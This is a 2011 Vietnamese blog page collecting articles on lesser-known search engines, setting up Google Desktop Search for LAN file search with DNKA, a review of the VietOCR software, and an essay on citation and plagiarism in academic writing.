Saturday, April 23, 2011

Phần "ngầm" của Internet

Phần "ngầm" của Internet

Trên thực tế, những cỗ máy tìm kiếm chỉ cho bạn thấy một phần của toàn bộ những gì có trên Internet.

Các website sau đây có thể giúp bạn thâm nhập vào "thế giới ngầm" vốn thường không được các site lớn đưa vào danh mục website.

http://www.dogpile.com/

Dogpile - tổng hợp của 4 site tìm kiếm lớn nhất Internet (Google, MSN, Yahoo, Ask). Nếu bạn vô tình lạc vào một website nào đó và không bookmark, nhưng không thể quay lại trang đó khi tìm bằng Dogpile, chắc chắn site đó nằm ở "vùng tối" của thế giới ảo.

http://clusty.com/

Clusty - site tìm kiếm này trả về danh sách kết quả tìm kiếm khá rối rắm, ngược lại với các "ông lớn" thường cố gắng khiến danh sách đó càng đơn giản càng tốt. Tuy nhiên, Clusty có lợi thế nhất định do site không tự động lọc bỏ các kết quả bị máy tính cho là "dư thừa". Nếu có đủ thời gian và kiên nhẫn, khả năng lọc ra được những website "giấu mặt" là khá lớn.

http://www.loc.gov/about

USA Library of Congress - site chuyên về tìm các tài liệu học thuật - cũng thường được site tìm kiếm chính thống bỏ qua do mang tính chuyên môn cao.

http://www.nelsonsearch.org/

Nelson Search - website chuyên về tìm kiếm tin tức. Tất cả các sự kiện, tin tức được đưa tin trên web đều có thể tìm ra ở đây - một phiên bản "thô" chưa được lọc tin rác của Google News.

http://www.intute.ac.uk/

Inute - công việc lên danh sách và tìm kiếm của Google được thực hiện hoàn toàn tự động nhờ các phần mềm gọi là bot. Người sử dụng dịch vụ thường xuyên cảm thấy chán ngán do bot không có khả năng lọc hàng núi "rác" vô nghĩa khỏi danh mục kết quả. Intute là bộ máy tìm kiếm duy nhất sử dụng danh sách website hoàn toàn do sức người lập nên, nhằm đảm bảo rằng các website vô nghĩa không bao giờ lọt vào danh sách kết quả tìm kiếm.

http://www.altavista.com

AltaVista - AltaVista là cỗ máy tìm kiếm nổi tiếng nhất trước khi Google soán ngôi thống trị như ngày nay. Mặc dù "chìm nghỉm" dưới bóng các ông lớn, bộ máy tìm kiếm này vẫn hoạt động tốt và trả về kết quả tương tự với Clusty khi sử dụng.

http://www.archive.org/index.php

Wayback Machine - một cỗ máy thời gian thực sự của thế giới web. Máy chủ của bộ máy tìm kiếm này lưu giữ toàn bộ các site đã có mặt trên Internet từ trước đến nay, và bạn có thể tìm thấy các site hiện giờ hoàn toàn không còn tồn tại bằng Wayback Machine. Vấn đề duy nhất khi sử dụng là bạn phải đưa ra được đường dẫn chính xác của website cần tìm!

http://www.bloglines.com

Bloglines (http://www.bloglines.com/) - Bộ máy tìm kiếm chuyên về blog. Các blog cá nhân có số người truy cập khá ít, và do đó thường bị các ông lớn nhét xuống dưới cùng danh sách kết quả tìm kiếm đôi khi lên đến vài chục ngàn kết quả. Một danh sách chỉ toàn blog hẳn sẽ dễ dàng hơn nhiều...

Chú ý rằng phần lớn cái gọi là "thế giới ngầm của web" thường là các site có chất lượng quá thấp đến mức bị bot bỏ qua, các trang chủ cá nhân hoặc hồ sơ lưu của các forum. Thế giới này cũng bao gồm các thông tin bị số đông bỏ qua như thông tin học thuật - cần có chuyên môn nhất định để hiểu và sử dụng, và còn nhiều loại khác...


Biến Google Desktop Search thành... LAN Search

Biến Google Desktop Search thành... LAN Search

PCWorld Vietnam

Hiện nay, hễ nói đến dịch vụ tìm kiếm (search engine) là người ta nghĩ đến Google. Không những là là “bá chủ” trong lĩnh vực tìm kiếm online (trên mạng Internet), Google còn đưa sức mạnh tìm kiếm vào môi trường offline - Google Desktop.

Ví dụ công ty của bạn có một File Server để lưu dữ liệu tập trung phục vụ cho khoảng 20-30 nhân viên. Qua một thời gian hoạt động, số lượng file/folder trên server ngày càng nhiều (khoảng 2 triệu file .doc và .xls) làm cho việc tìm kiếm file lưu trên server tốn rất nhiều thời gian mặc dù được trang bị phần cứng khá mạnh. Trong tình huống này, Google Desktop có thể phát huy sức mạnh. Bài viết này sẽ giới thiệu cách cấu hình Google Desktop Search (GDS) để sử dụng cho môi trường mạng nội bộ (LAN).

Công cụ đầu tiên bạn cần tất nhiên phải là Google Desktop Search (http://desktop.google.com/), kế tiếp quan trọng hơn là công cụ để “hô biến” GDS thành GLS (Google LAN Search), đó là DNKA (http://www.dnka.com/).

Tính năng của DNKA

DNKA hoạt động như một Web Server (search engine), có các tính năng sau:

  • Tìm kiếm file, email, ... trên một máy ở xa.
  • Cấp quyền truy cập cho user thông qua IP hoặc Computer Name (mặc định DNKA chỉ cho phép truy cập từ máy cục bộ).
  • Cho phép thay đổi Port của GDS Web server
  • Chia sẻ file, thư mục.
  • Ghi nhật ký truy cập.
  • Cấu hình và quản trị thông qua web.
  • Bảo vệ ngăn thay đổi cấu hình bằng password
  • Tích hợp với GDS, hoạt động đồng thời với GDS

Cấu hình GDS

Mặc định GDS sẽ tạo chỉ mục tất tần tật mọi thứ như email, lịch, sổ tay, tập tin Word, Excel, PowerPoint, media, PDF, Text... và ngay cả nội dung file nén ZIP có trong ổ cứng của bạn. Việc này nghe có vẻ hay nhưng thực sự có rất nhiều thứ trên máy của bạn không cần phải lập chỉ mục. Hơn nữa nếu hoạt động trên môi trường LAN, các máy khác có thể truy cập được các file nhạy cảm của Windows thông qua GDS (vì nó lập chỉ mục không chừa một file nào cả). Do đó bạn phải cấu hình lại GDS để nó sẽ lập chỉ mục trên thư mục hoặc/và ổ đĩa bạn chỉ định mà thôi.

Ở đây chúng ta sẽ cấu hình để GDS không tìm trên các ổ đĩa cục bộ mà chỉ tìm trên các thư mục chia sẻ trên mạng LAN. Vào mục Desktop References, tìm mục Don’t Search These Items, chọn Add file or folder to exclude, bạn chọn những ổ đĩa mà bạn muốn GDS chừa ra. Sau đó đến mục Search These Locations, ở đây liệt kê nhưng nơi mà GDS sẽ lập chỉ mục, trước hết bạn cần chia sẻ những thư mục chứa dữ liệu trên server, sau đó “add” những thư mục mà bạn muốn GDS lập chỉ mục, ví dụ \\SERVER\DATA, \\SERVER\Public.

Ngoài ra bạn có thể chọn loại file mà GDS sẽ lập chỉ mục, bạn có thể chỉ chọn Word, Excel, PDF, ZIP, Text...

Sau đó nhấn Save References.

Cấu hình DNKA

Khi cài đặt DNKA đã tự động tích hợp với GDS, do đó bạn không phải cấu hình gì nhiều, cái cần thiết nhất là cấp quyền truy cập nơi mà GDS lập chỉ mục.

Đầu tiên bạn bật GDS lên, nhấn vào mục Server Options, ta thấy màn hình thông báo tình trạng hoạt động của DNKA như sau:

Ngăn cấm truy cập từ máy bất kỳ theo IP/Hostname

Bạn nhấn vào mục Hosts, ở đây liệt kê danh sách các máy/IP có thể truy cập vào GDS trên DNKA.

Để thêm một máy/IP vào danh sách, nhập tên máy hoặc IP vào ô bên dưới và nhấn nút Allow, DNKA sẽ thêm máy vừa nhập vào danh sách được phép truy cập. Nếu bạn nhập IP, DNKA sẽ tự động tìm ra tên máy, và ngược lại. Để thêm một giải ip hay lớp mạng, bạn nhập IP đầu tiên và cuối cùng trong dãy, ví dụ 192.168.0.1-192.168.0.10, hoặc có thể sử dụng dấu * để đại diện cho IP hoặc tên máy, ví dụ để cho phép các máy có tên bắt đầu là PC, bạn nhập PC*. Nếu bạn chỉ nhập dấu * thì có nghĩa là tất cả các máy đều có thể truy cập được GDS.

Cấp quyền truy cập nặc danh

Nhấn vào mục Users, nếu bạn muốn mọi người dùng đều có thể truy cập được, nhấn nút Enable Anonymous Acess, ngược lại nhấn Disable Anonymous Acess.

Đổi port của GDS & cấm liệt kê nội dung thư mục (Directory Browsing)

Nhấn mục Misc Options đ Nhập port bạn muốn đổi vào ô Server port number và nhấn nút Change. Đánh dấu chọn Allow Directory Browsing để cho phép người dùng liệt kê nội dung thư mục thông qua GDS, ngược lại bỏ dấu chọn.

Đổi mật khẩu Admin

Nhấn vào mục Misc Options đ Change Admin password, nhập vào mật khẩu cũ và mật khẩu mới. Mặc định sau khi cài đặt password để rỗng.

Mọi việc coi như xong, bạn dùng một máy trong mạng, mở IE lên và nhập vào địa chỉ:

http://:

SERVER: tên server

PORT: port của GDS mà bạn đã cấu hình trong mục Misc Options (mặc định là 4664).

...Và bạn có thể bắt đầu việc tìm kiếm....

VietOCR 1.5: Nhận dạng ký tự tiếng Việt “chuẩn không cần chỉnh”

VietOCR 1.5: Nhận dạng ký tự tiếng Việt “chuẩn không cần chỉnh”

Huy Trần/Echíp
Vietnamnet

Sau nhiều lần nâng cấp, phiên bản mới của VietOCR đã có thêm nhiều tính năng đáng giá như: hỗ trợ chế độ quét tích hợp, nhận dạng ký tự tiếng Việt trên nhiều dạng ảnh (bmp, jpg, tiff, png), hỗ trợ các tài liệu ảnh nhiều trang và cơ chế xử lý hậu kỳ, giúp khắc phục một số lỗi về ngữ nghĩa, chính tả sau khi xử lý. Đặc biệt chương trình hoàn toàn miễn phí.

Dung lượng: 4,2MB.
Tải tại: http://websitetinhoc.com/ (miễn phí).

So với một số phần mềm nhận dạng văn bản tiếng Việt như: VnDOCR, VietOCR thuộc vào hàng “ngon, bổ” và miễn phí. Tốc độ biên dịch nội dung nhanh, giao diện đơn giản, dễ sử dụng và mức độ chính xác có thể đạt hơn 80%.

VietOCR bao gồm hai phiên bản: phiên bản GUI Form chạy trên Windows (hỗ trợ cả 32/64bit) và phiên bản Swing GUI (sử dụng Java) có thể hoạt động trên nhiều hệ điều hành khác nhau như: Windows, Linux,…

VietOCR có thể sử dụng như một trình nhận dạng ký tự quang học độc lập (xử lý các file ảnh, dữ liệu sẵn có) hoặc kết hợp với chức năng quét để xử lý các tài liệu được nạp từ bên ngoài.

Thao tác xử lý văn bản được chia thành các loại:

1. Nhận dạng tài liệu ảnh:

Thông thường khi quét xong một tài liệu văn bản, file thu được sẽ được lưu dưới dạng một tài liệu ảnh và không thể xử lý (xoá text, nhập liệu, chỉnh sửa nội dung,…) như ban đầu. VietOCR sẽ có nhiệm vụ chuyển đổi các tài liệu này sang văn bản để bạn có thể xử lý dễ dàng. VietOCR hỗ trợ khá nhiều định dạng ảnh như: jpg, bmp, png, tiff, tuy nhiên không hỗ trợ định dạng gif.

Để sử dụng chương trình, bạn cần cài đặt thêm gói Visual C++ 2008 SP1 (nếu gói này chưa được cài đặt vào hệ thống), sau đó truy cập menu File > Open, trong phần File of types bạn chọn là All Image Files và nạp vào file văn bản cần xử lý. Xong, nhấn nút Open.

Tiếp đến, trên giao diện chính, bạn sẽ nhìn thấy hai khu vực: khu vực nằm bên trái chứa nội dung của file tài liệu vừa mới thêm vào, khung bên phải sẽ là tài liệu sau khi trích xuất từ file ảnh. Khi phần nội dung đã được nạp xong, bạn nhấn đề mục OCR Language (góc trên bên phải màn hình) và chọn Vietnamese. Sau đó, nhấn nút OCR để bắt đầu quá trình biên dịch nội dung, tốc độ nhanh hay chậm còn tùy thuộc vào độ dài, ngắn của văn bản và tốc độ xử lý của máy tính.

Sau khi biên dịch xong, bạn sẽ có ngay phần dữ liệu dạng text, có thể xoá hay thay đổi một cách dễ dàng. Một điểm hay của VietOCR, đó là khả năng tích hợp bộ gõ tiếng Việt (hoạt động dựa trên bộ gõ Unikey), cho phép bạn dễ dàng thay đổi nội dung văn bản có dấu mà không cần bộ gõ Unikey thường trực nơi khay hệ thống. Để định bộ gõ trong VietOCR, bạn truy cập menu Settings > Viet Input Method và chọn một trong các kiểu gõ: VNI, Telex, VIQR với Font mặc định là Unicode được tích hợp sẵn.

Trường hợp chỉ muốn nhận dạng riêng một khu vực nào đó, bạn giữ trái chuột và rê vào vùng văn bản mà bạn muốn trích xuất. Khi đó, chỉ nội dung của vùng này sẽ được hiển thị bên khung phải màn hình. Nếu muốn biên dịch tài liệu nhiều trang, bạn truy cập menu Command > OCR All Pages.

Để “thử” kiểm tra khả năng nhận diện văn bản của chương trình trên các định dạng khác nhau, người viết đã sử dụng thư viện mẫu văn bản có sẵn (C:\Program Files\VietUnicode\VietOCR.NET\samples) và dùng chương trình MS Paint của Windows để lưu lại thành các định dạng khác nhau như: PNG, JPG và BMP (256 bit) từ file gốc có định dạng .TIFF

Kết quả, cả ba trường hợp đều nhận dạng được văn bản khá chuẩn xác. Tuy nhiên một số dấu câu chưa đúng và một vài từ vẫn còn sai chính tả, không rõ nghĩa nhưng mức độ biên dịch so với bản gốc là khá chuẩn.

2. Cài đặt máy quét:

Nếu nhu cầu của bạn là xử lý các tài liệu bên ngoài thông qua hệ thống quét của chương trình, nhất thiết bạn phải cài đặt thêm máy quét. Để làm việc này, bạn truy cập vào thư mục cài đặt của VietOCR, tìm và sao chép file WIAAut.dll (C:\Program Files\VietUnicode\VietOCR.NET) vào thư mục C:\Windows\System32.

Sau đó, bạn vào Start > Run, gõ lệnh regsvr32 C:\Windows\System32\WIAAut.dll để đăng ký thư viện này với Windows. Khi đăng ký xong, bạn cài driver cho máy quét và bắt đầu tiến trình xử lý văn bản như trên.

Lưu ý:

- Trong quá trình biên dịch, đôi lúc bạn sẽ gặp phải thông báo lỗi Attemp to read or write protected memory, một trong những nguyên nhân gây ra lỗi này là do văn bản đã định sai hướng (lệch hướng đi, thay vì nằm ngang, văn bản đã chuyển sang hướng đứng), bạn chỉ việc nhấn nút Rotate vài lần cho đúng hướng là xong.
- Nếu không có máy quét và bạn vẫn muốn “trải nghiệm” tính năng của phần mềm, bạn có thể tải tiện ích ImagePrinter, giúp bạn chuyển đổi bất kỳ tài liệu nào sang bốn định dạng hỗ trợ sẵn của chương trình (bmp, png, tiff, jpg). Trường hợp nếu muốn chuyển giao diện chương trình sang tiếng Việt, bạn truy cập menu Settings > User Interface Language, chọn Vietnamese.

Cũng tương tự quá trình nhận dạng tài liệu ảnh ở trên, trong trường hợp này tài liệu quét sẽ được chia thành hai dạng để kiểm tra: dạng văn bản thuần (text) và văn bản kèm hình ảnh. Quá trình xử lý và biên dịch được thực hiện như bước 1. Kết quả chương trình nhận dạng tốt với các văn bản thuần và gặp phải tình trạng lỗi OCR Operation với các tài liệu có kèm hình ảnh. Việc thực hiện này cũng xảy ra với các định dạng khác.

Một điều lưu ý với các bạn, để quá trình nhận dạng ảnh được chính xác, độ phân giải của bản quét phải đạt chuẩn 300dpi, không mờ, càng sạch và rõ càng tốt.

3. Xử lý tài liệu PDF:

Ngoài khả năng nhận dạng các tài liệu ảnh, VietOCR còn có khả năng xử lý các tài liệu PDF. Để có thể sử dụng được tính năng này trong VietOCR, bạn cần cài đặt thêm gói GPL GhostScript 8.7. Sau khi cài xong, bạn thực hiện việc xử lý tương tự các bước trên (với các tài liệu PDF có chứa hình ảnh, kết quả vẫn bị lỗi như trường hợp hai).

Nhìn chung, VietOCR có khả năng xử lý văn bản tiếng Việt tốt, độ chính xác khá cao và tương thích với nhiều định dạng ảnh khác nhau trong điều kiện văn bản thuần (không chứa hình ảnh), bạn có thể dùng văn bản sau khi xử lý để phục vụ cho công việc mà không phải tốn thời gian chỉnh sửa nhiều.

Trích dẫn và đạo văn

Trích dẫn và đạo văn
http://nguyenvantuan.net/english/1249-trich-dan-va-dao-van


Read : 197 times

http://img.ehow.com/article-page-main/ehow-uk/images/a04/q3/ms/avoid-plagiarism-citation-800x800.jpg

Entry này được viết ra chỉ vì câu bình luận sau đây trên báo Người lao động: “Trong nghiên cứu khoa học, ai cũng biết một luật bất thành văn là luận án TS không thể nào trích dẫn, tham khảo tài liệu ở những công trình có học vị thấp hơn.” Thật ra, không có qui định nào như thế cả. Khoa học là bình đẳng.

Vấn đề đạo văn ở Việt Nam là vấn đề thời sự. Tháng 10 năm ngoái xảy ra một vụ tai tiếng về một nhóm tác giả với 3 bài báo khoa học bị rút lại sau khi đã công bố trên một tập san quốc tế. Trước đó, cũng xảy ra nhiều vụ tai tiếng chỉ giới hạn trong nước, và theo thời gian chìm vào quên lãng. Nhưng mới đây báo Người lao động nêu vấn đề đạo văn qua vài trường hợp cụ thể. Những trường hợp được nêu có lẽ chỉ là bề nổi của một tảng băng chìm. Nạn đạo văn ở nước nào cũng khá phổ biến, nhưng ở nước ta cường độ thì có lẽ cao hơn nhiều so với các nước khác. Vấn đề là chúng ta cần phải tìm hiểu nguyên nhân và “yếu tố nguy cơ” để có biện pháp giảm tình trạng đạo văn.

Khi nào cần trích dẫn ?

Một trong những nguyên nhân của đạo văn là không biết trích dẫn. Kinh nghiệm của tôi cho thấy nhiều học sinh, sinh viên, nghiên cứu sinh, thậm chí … giáo sư chưa quen với phương pháp trích dẫn. Điển hình cho hiểu lầm về trích dẫn là phát biểu sau đây mà bài báo trên Người lao động trích nguyên văn: “Nguyên tắc nghiên cứu khoa học, khi đã sử dụng dù chỉ một từ vẫn phải có trích dẫn chữ dùng của ai.” Tôi e rằng người phát biểu câu này nói hơi … quá lời. Thật ra, không có nguyên tắc nào đòi hỏi người ta phải trích dẫn nếu sử dụng chỉ 1 từ cả, ngoại trừ đó là một thuật ngữ đặc biệt chưa được nhiều người biết đến. Tuy nhiên, có qui ước: khi dùng hay sao chép hơn 3 hay 4 từ liên tục từ một nguồn thì cần phải để trong ngoặc kép hoặc đề nguồn.

Một hiểu lầm khác cũng xuất hiện, khi có ý kiến rằng “Trong nghiên cứu khoa học, ai cũng biết một luật bất thành văn là luận án TS không thể nào trích dẫn, tham khảo tài liệu ở những công trình có học vị thấp hơn. Một luận án TS mà dựa trên nghiên cứu, quan điểm của sinh viên thì khó chấp nhận.” Tôi có thể khẳng định rằng không có qui định thành văn hay bất thành văn nào như thế cả. Rất nhiều tập san khoa học quốc tế không cho phép tác giả đề học vị và chức danh. Do đó, một công trình nghiên cứu trên tập san khoa học như thế, làm sao chúng ta biết tác giả đó có bằng cử nhân hay tiến sĩ? Thật ra, khoa học rất bình đẳng trong tri thức, và trích dẫn trong khoa học không phân biệt đẳng cấp và học vị của tác giả của nguồn thông tin.

Vậy câu hỏi đặt ra là khi nào thì cần phải trích dẫn? Theo qui định chung, tác giả cần phải trích dẫn và cung cấp tài liệu tham khảo khi:

  • Lấy nguyên văn một câu hay đoạn văn. Đây là nguyên tắc mà có lẽ ai cũng biết. Ví dụ:

A WHO Expert Consultation states that “overweight (≥ 25 kg/m2) corresponded to 31-39%” (WHO Expert Consutation, 2004).

thì câu viết nghiêng là nguyên văn của bản báo cáo, và thông tin trong ngoặc kép là nguồn báo cáo, thường là tác giả và năm công bố.

  • Tóm lược và diễn đạt lại ý của tác giả gốc. Trong khoa học thực nghiệm, ít khi nào nhà khoa học chịu lấy nguyên văn của tác giả khác (vốn rất phổ biến trong khoa học xã hội), mà chỉ viết lại ý chính của tác giả trước, ví dụ như:

Low bone mineral density is a robust risk factor for fragility fracture (Nguyen et al, 1997)

Trong câu trên, câu Low bone mineral density is a robust risk factor for fragility fracture câu văn của tác giả bài báo tóm lược ý chính trong bài báo của Nguyen và đồng nghiệp công bố vào năm 1997.

  • Trích những dữ liệu thống kê. Vì con số thống kê là trái tim, là linh hồn của một bài báo khoa học, nên nếu tác giả trích con số của người khác thì phải cung cấp nguồn rõ ràng.

The prevalence of osteoporosis in Asian women aged 50 years and above ranged between 17% and 30% [1]

Ngay cả những con số đơn giản cũng phải đề nguồn:

Recent statistics indicated that during 1997-2004 there were ~48,500 cases of TB (or 70 per 100,000 population), and the incidence increased by around 0.2% per year, which occurred mainly in rural areas [3]

Trong cả hai ví dụ trên [1] và [3] là số của tài liệu tham khảo được liệt kê trong phần tài liệu tham khảo.

  • In lại những biểu đồ, hình ảnh. Bất cứ hình hay biểu đồ nào được in lại trong sách, hay trong một bài báo khoa học, hay trong một slide mà không phải của tác giả thì bắt buộc phải đề nguồn.
  • Trình bày những diễn giải mang tính tranh cãi. Một dữ liệu hay kết quả có thể được hiểu và diễn giải bằng nhiều cách khác nhau, vì người diễn giải dựa vào lăng kính khác. Do đó, những diễn giải dữ liệu vẫn còn trong vòng tranh cãi cũng cần phải được trích dẫn và ghi nguồn. Ví dụ:

The relationship between animal protein and bone health has been controversial. It has long been hypothesized, but remained to be confirmed, that a high animal protein diet exerts a negative effect on bone health, because it generates a high endogenous acid load that would require buffering from bone, thus increasing bone resorption [10]

  • Trình bày kết quả nghiên cứu của người khác. Trong bài báo khoa học, có khi tác giả cần phải so sánh với kết quả của đồng nghiệp, và trong trường hợp này thì phải cung cấp tài liệu tham khảo. Ví dụ:

The present result is consistent with a previous observation that each standard deviation decrease in BMD was associated with a 1.45-fold increase in the risk of osteoporotic fracture (Kanis, et al, 2005)

Khi nào không cần trích dẫn ?

Ai cũng biết rằng bất cứ tác giả đề cập đến thông tin từ ngoài thì tác giả phải trích dẫn nguồn thông tin. Nhưng cũng có trường hợp tác giả không cần phải đề nguồn. Có hai trường hợp chính:

Lí luận, ý tưởng hay thông tin của chính tác giả. Trường hợp này quá hiển nhiên. Nếu là phát kiến của chính tác giả thì không cần trích dẫn.

Thông tin là một “common knowledge”, tức hiểu theo nghĩa “nhiều người biết”. Những thông tin được xem là kiến thức phổ quát thì không cần trích dẫn. Nhưng xác định thế nào là kiến thức phổ quát có khi không dễ dàng chút nào, bởi vì đường ranh giữa kiến thức phổ quát và kiến thức cần trích dẫn, mà ngay cả các chuyên gia về đạo văn cũng không đồng ý với nhau. Chẳng hạn như nếu tôi viết Smoking is a cause of lung cancer thì có lẽ ai cũng đồng ý là common knowledge, nhưng vẫn có người trong khoa học đòi hỏi câu đó phải được trích dẫn nguồn.

Mặc dù không có tiêu chí cụ thể thế nào là kiến thức phổ quát, nhưng có 2 tiêu chí thường được sử dụng thường xuyên là: lượng thông tin và sự phổ biến. Trước hết là lượng thông tin. Nhiều chuyên gia cho rằng một thông tin được xem là phổ quát nếu thông tin đó có thể tìm thấy từ 5 nguồn độc lập. Kế đến là tiêu chí về phổ biến liên quan đến thông tin đó đã được nhiều người trong chuyên ngành biết hay chấp nhận. Ví dụ câu

Many countries require that food labels announce genetically modified ingredients

được xem là common knowledge, và tác giả không cần trích dẫn.

Tương tự, Smoking is a cause of lung cancer có thể không cần trích dẫn, nhưng nếu viết cigarette smoking is associated with a three-fold increase in the risk of lung cancer thì cần phải trích dẫn, bởi vì có đề cập đến con số ở đây. Tương tự, nếu câu

Previous research has shown that the slower kinetics observed during transitions from an elevated baseline metabolic rate were related to a slower adjustment of cardiac output and hence muscle O2 delivery

cũng cần trích dẫn, bởi có chữ research. Bất cứ lúc nào có chữ research hay study, hay bàn về nghiên cứu của người khác, cần phải trích dẫn nguồn.

Nhận dạng đạo văn

Cần phân biệt trích dẫn và đạo văn. Đạo văn được Hội giáo sư đại học Mĩ (American Association of University Professors) định nghĩa là lấy ý tưởng, phương pháp, hay chữ của người khác làm của mình, mà không ghi nhận nguồn gốc và tác giả. Còn trích dẫn dưới hình thức viết lại ý của tác giả gốc là một hình thức diễn tả lại ý tưởng chính của đoạn văn gốc bằng một đoạn văn rất cô đọng và rất chung chung, mà không hẳn dùng lại những chữ của tác giả gốc. Tuy nhiên, nếu không cẩn thận thì trích dẫn, cho dù có đề nguồn, vẫn có thể bị phạm tội đạo văn. Chúng ta thử so sánh hai câu văn sau đây, bên trái là bản gốc, và bên phải là bản viết lại theo cách diễn giải và có trích dẫn. Câu hỏi là tác giả có phạm tội đạo văn hay không?

Bản gốc:
There's a new class of worker out there: Nearly Autonomous, Not in the Office, doing Business in their Own Time Staff. Or nanobots, for short. Empowered by their mobile devices and remote access to the corporate network, nanobots put in long hours, sometimes seven days a week -- just not at their desks. Different from mobile workers, who usually stay in close contact with managers, nanobots thrive on their driven natures and on the personal freedom with which they are entrusted. Found at many levels of an organization, from sales managers to senior executives, they are self-starting high achievers who produce strong results with a minimum of supervision. Allowed to find their own equilibrium between work and private lives, they tend to put work first.

Diễn giải 1:

Did you know there’s a new class of worker out there? Nearly Autonomous, Not in the Office, doing Business in their Own Time Staff—or, more simply, nanobots (Pauleen and Harmer, 2008). Empowered by their mobile devices and remote access to the company network, nanobots put in long hours, sometimes seven days a week -- just not at their desks. Unlike mobile workers, who usually stay in close contact with managers, “nanobots thrive on their driven natures and on the personal freedom with which they are entrusted,” (2008, par.2). Interestingly, they are high achievers who are self-motivated and produce good results with little supervision. They are found at many levels of an organization, from sales managers to senior executives. Allowed to find their own balance between work and personal lives, they usually put work first (2008).

Pauleen, D. & Harmer, B. (2008, Dec. 15). Away from the desk...always. Wall Street Journal Digital Network. Retrieved Dec. 22, 2008, from http://online.wsj.com/article/SB122911032462702387.html

Theo các chuyên gia, tác giả phạm tội đạo văn, vì gây ấn tượng cho người đọc rằng bản văn gốc đã được diễn giải lại, nhưng trong thực tế đã lấy nhiều câu văn của bản gốc. Những đoạn gạch đích dưới đây là những đoạn tác giả mượn văn của bài gốc:

Did you know there’s a new class of worker out there? Nearly Autonomous, Not in the Office, doing Business in their Own Time Staff—or, more simply, nanobots (Pauleen and Harmer, 2008). Empowered by their mobile devices and remote access to the company network, nanobots put in long hours, sometimes seven days a week -- just not at their desks. Unlike mobile workers, who usually stay in close contact with managers, “nanobots thrive on their driven natures and on the personal freedom with which they are entrusted,” (2008, par.2). Interestingly, they are high achievers who are self-motivated and produce good results with little supervision, They are found at many levels of an organization, from sales managers to senior executives. Allowed to find their own balance between work and personal lives, they usually put work first (2008).

Có một qui ước chung là khi tác giả sử dụng một loạt 3 câu văn liền của bản gốc mà không để trong ngoặc kép là có thể mang tội đạo văn.

Ví dụ trên cho thầy để tránh đạo văn, tác giả cần phải luyện kĩ năng để tự diễn giải thông tin gốc. Có 3 cách để diễn giải thông tin hay câu văn gốc: thay đổi cấu trúc câu văn, dùng những từ đồng nghĩa, và thay đổi dạng của câu văn. Sau đây là vài ví dụ:

Thay đổi cấu trúc câu văn. Đây là cách diễn giải tốt nhất để tránh đạo văn. Tác giả cần phải đọc đoạn văn gốc vài lần cho đến khi hiểu được ý nghĩa, rồi sau đó viết lại bằng chữ của mình. Ví dụ:

Bản gốc của Mueller and Hancock (2001):

Instead of analyzing data with an exploratory factor analysis (where each item is free to load on each factor) and potentially facing a solution inconsistent with initial theory, a CFA can give the investigator valuable information regarding the fit of the data to the specific, theory-derived measurement model (where items load only on the factors they were designed to measure), and point to the potential weakness of specific items.

Viết lại:

If the focus of the investigation is the connection between data and the theoretical model being used for measuement, a CFA is a better choice than an exploratory factor analysis, as the CFA is more likely to provide results that show the connection between data and theory (Mueller and Hancock, 2001)

Dùng từ đồng nghĩa. Cũng có khi câu văn ngắn nên viết lại cũng khó khăn. Trong trường hợp này, có thể thay thế những từ đồng nghĩa. Ví dụ:

Bản gốc của Johnson et al (2008):

Optimizing peak bone mass during the early years is thought to be a key factor in preventing osteoporosis later in life.

Viết lại:

To prevent osteoporosis, experts believe it is important to build bone mass before adulthood (Johnson et al., 2008).

Thay đổi cách dạng của câu văn. Thông thường một câu văn ngắn có thể thay thế bằng cách đổi từ văn thụ động sang chủ động (hay ngược lại) và thay đổi từ. Chẳng hạn như:

Earth-friendly products are being purchased more often by consumers

Increasing, shoppers are choosing to buy environmentally safe products

Trích dẫn và diễn giải là hai hình thức rất phổ biến trong văn chương khoa học để tránh đạo văn. Trích dẫn có lẽ không khó, nhưng diễn giải thì khó hơn vì đòi hỏi tác giả phải am hiểu ngữ vựng tiếng Anh, hiểu ý nghĩa câu văn gốc, và có kĩ năng cách một cách trôi chảy. Ở đây, tôi thấy cần phải nhắc lại hai điểm mà tôi đã đề cập trong phần đầu để tránh ngộ nhận: không ai đòi hỏi phải trích dẫn nếu chỉ dùng một từ của bản văn gốc, và không có qui định nào nói rằng chỉ trích dẫn những tác giả có học vị cao hơn mình. Khoa học là một hoạt động bình đẳng. Người có công phát kiến, bất kể có văn bằng gì, sẽ được ghi nhận qua trích dẫn và tham khảo một cách hợp lí. Đó chính là một nét văn hóa khoa học chẳng xa lạ gì với người Việt chúng ta: nói có sách, mách có chứng.

NVT

======


http://nld.com.vn/20110416094351456p0c1017/bi-hai-luan-an-luoc.htm

Bi hài luận án “luộc”

Thứ Bảy, 16/04/2011 21:52

Không ít luận án tiến sĩ đã qua mắt được hội đồng bảo vệ nhưng lại là luận án “luộc” với nhiều chuyện bi hài

Tiến sĩ (TS) Trần Thị Mai Nhân, giảng viên Trường ĐH Khoa học Xã hội và Nhân văn TPHCM, rất bức xúc khi luận văn thạc sĩ của mình về đề tài văn học Việt Nam trong chiến tranh đã bị nghiên cứu sinh tên K., giảng viên của một trường ĐH khác, sao chép nguyên văn rất nhiều đoạn để đưa vào luận án TS của ông ta mà không hề có một dòng trích dẫn.

Đạo văn do...chưa có kinh nghiệm!

Trong luận án TS của ông K., phần phụ lục cũng không hề có dòng nào về việc tham khảo tài liệu của TS Mai Nhân. Điều đáng nói là sau khi bảo vệ thành công luận án TS năm 2000, ông K. đã trích một phần luận án để in thành sách, phát hành vào năm 2006. Khi cầm trên tay cuốn sách này, TS Mai Nhân mới té ngửa bởi công trình chính mình viết ra được tác giả “cóp” nguyên văn nhiều đoạn.

“Nguyên tắc nghiên cứu khoa học, khi đã sử dụng dù chỉ một từ vẫn phải có trích dẫn chữ dùng của ai. Trong khi đó, ông K. dùng nguyên văn khá nhiều đoạn trong luận văn của tôi mà không hề có một dòng trích dẫn thì thật khó chấp nhận” - TS Mai Nhân bức xúc.

Trao đổi với phóng viên Báo Người Lao Động, ông K. lý giải khi làm luận án TS - cách đây 15 năm - ông còn rất trẻ, chưa có nhiều kinh nghiệm. “Tôi thừa nhận đã sơ suất khi dùng luận văn của TS Nhân mà không trích dẫn. Một người bạn đã photocopy giùm tôi cuốn tài liệu này nhưng lại không có bìa. Lúc đó, vấn đề tôi nghiên cứu còn có nhiều tranh cãi, tôi đọc được cuốn tài liệu này thấy rất tâm đắc nên sử dụng một số đoạn mà không biết tác giả là ai”.

